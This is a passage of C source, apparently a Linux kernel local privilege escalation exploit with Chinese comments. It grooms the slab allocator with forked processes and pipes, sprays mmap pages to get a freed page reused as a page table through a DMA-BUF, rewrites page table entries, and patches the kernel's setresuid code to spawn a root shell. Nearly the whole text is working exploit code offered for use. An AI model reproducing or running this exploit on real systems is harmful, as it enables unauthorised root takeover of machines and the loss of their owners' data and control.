/* <----- 保证 free 的时候 page->pobjects > (s)->cpu_partial -----> */
for(int i = 2 * objs_per_slab; i < PID_NUM; i++){ // alloc cpu_partial pages
child_pid[i] = fork();
if(child_pid[i] < 0){
err_exit("fork");
}
else if(child_pid[i] > 0){
sleep(0.01);
continue;
}
else{
char sync;
read(normal_pipe[i][0], &sync, 1);
if (sync == 'C') {
exit(-1);
}
else if (sync == 'A') {
add_to_refcount(128, listensock);
while (1) sleep(1);
}
else if (sync == 'B') {
add_to_refcount(127, listensock);
while (1) sleep(1);
}
}
}
/* ------------------------------------------------------------ */

void *page_spray[N_PAGESPRAY];
for (int i = 0; i < N_PAGESPRAY; i++) {
page_spray[i] = mmap((void*)(0xdead0000UL + i*0x10000UL),
0x8000, PROT_READ|PROT_WRITE,
MAP_SHARED|MAP_ANONYMOUS, -1, 0);
if (page_spray[i] == MAP_FAILED)
err_exit("mmap");
}

/* <----- free 掉目标 page 的所有 objects && 剩下的每个 page free 一个 object -----> */
for (int i = 0; i < objs_per_slab * (cpu_partial-1) + 1; i++) { // free cpu_partial-1 pages + 1 pid
sleep(0.2);
write(normal_pipe[i][1], "C", 1);
}
/* ----------------------------------------------------------------------------- */

sleep(1);

int start = 0;
for (int i = objs_per_slab * 7 + 1; i < objs_per_slab * 8; i++) {
sleep(0.2);
printf("i = %d\n",i);
write(normal_pipe[i][1], "C", 1);

for (int i = start; i < start + N_PADDINGS; i++)
for (int j = 0; j < 8; j++)
*(char*)(page_spray[i] + j*0x1000) = 'A' + j;
start += N_PADDINGS;
}

sleep(1);

dma_data_fd = init_dma_buf();

for (int i = start; i < N_PAGESPRAY; i++)
for (int j = 0; j < 8; j++)
*(char*)(page_spray[i] + j*0x1000) = 'A' + j;

write(child_pipe[1], "C", 1);
while (1) {
char sync;
read(parent_pipe[0], &sync, 1);
if (sync == 'D') {
break;
}
}

for (int i = objs_per_slab * 8; i < objs_per_slab * 9 - 1; i++) { // 128*31 + 127 = 4095
sleep(0.2);
write(normal_pipe[i][1], "A", 1);
}
sleep(0.2);
write(normal_pipe[(objs_per_slab * 9 - 1)][1], "B", 1);

sleep(1);

void *evil = NULL;
for (int i = 0; i < N_PAGESPRAY; i++) {
//print_hex(page_spray[i],8);
if (*(char*)(page_spray[i]) != 'A') {
evil = page_spray[i];
printf("Found overlapping page: %p\n", evil);
break;
}
}
if (evil == NULL)
err_exit("target not found :(");

munmap(evil, 0x1000);
void *dmabuf = mmap(evil, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_POPULATE, dma_data_fd, 0);
*(char*)dmabuf = '0';

for (int i = objs_per_slab * 9 ; i < objs_per_slab * 10; i++) { // 128*32 = 4096
sleep(0.2);
write(normal_pipe[i][1], "A", 1);
}

sleep(1);
printf("DMA-BUF now points to PTE: 0x%lx\n", *(size_t*)dmabuf);

char *victim_ptable = NULL;
*(size_t*)dmabuf = 0x800000000009c067;
for (int i = 0; i < N_PAGESPRAY; i++) {
if (page_spray[i] == evil) continue;
if (*(size_t*)page_spray[i] > 0xffff) {
victim_ptable = page_spray[i];
printf("Found victim page table: %p\n", victim_ptable);
break;
}
}

size_t phys_base = ((*(size_t*)victim_ptable) & ~0xfff) - PHYSICAL_OFFSET;
printf("Physical kernel base address: 0x%lx\n", phys_base);

size_t phys_func = phys_base + __SYS_SETRESUID_OFF;
*(size_t*)dmabuf = (phys_func & ~0xfff) | 0x8000000000000067;

// 84 0E 01 00 00 E8 18 73 01 00 48 85 C0 0F 84 CD
print_hex(victim_ptable + ((__SYS_SETRESUID_OFF + PATCH_JNE_OFFSET) & 0xfff), 0x10);
victim_ptable[(__SYS_SETRESUID_OFF + PATCH_JNE_OFFSET) & 0xfff] = 0x85; // jne
print_hex(victim_ptable + ((__SYS_SETRESUID_OFF + PATCH_JNE_OFFSET) & 0xfff), 0x10);
// getchar();

printf("Whoami");
system("id");
setresuid(0, 0, 0);

system("/bin/sh");
}
else{ // child
char sync;
read(child_pipe[0], &sync, 1);
if (sync == 'C') {
prctl(PR_SET_PDEATHSIG, SIGKILL);
/* create post-death-incrementable pid reference */
listen(listensock, 128 /*SOMAXCONN*/);
write(parent_pipe[1], "D", 1);
while (1) {
sleep(1);
}
}
}

return 0;
}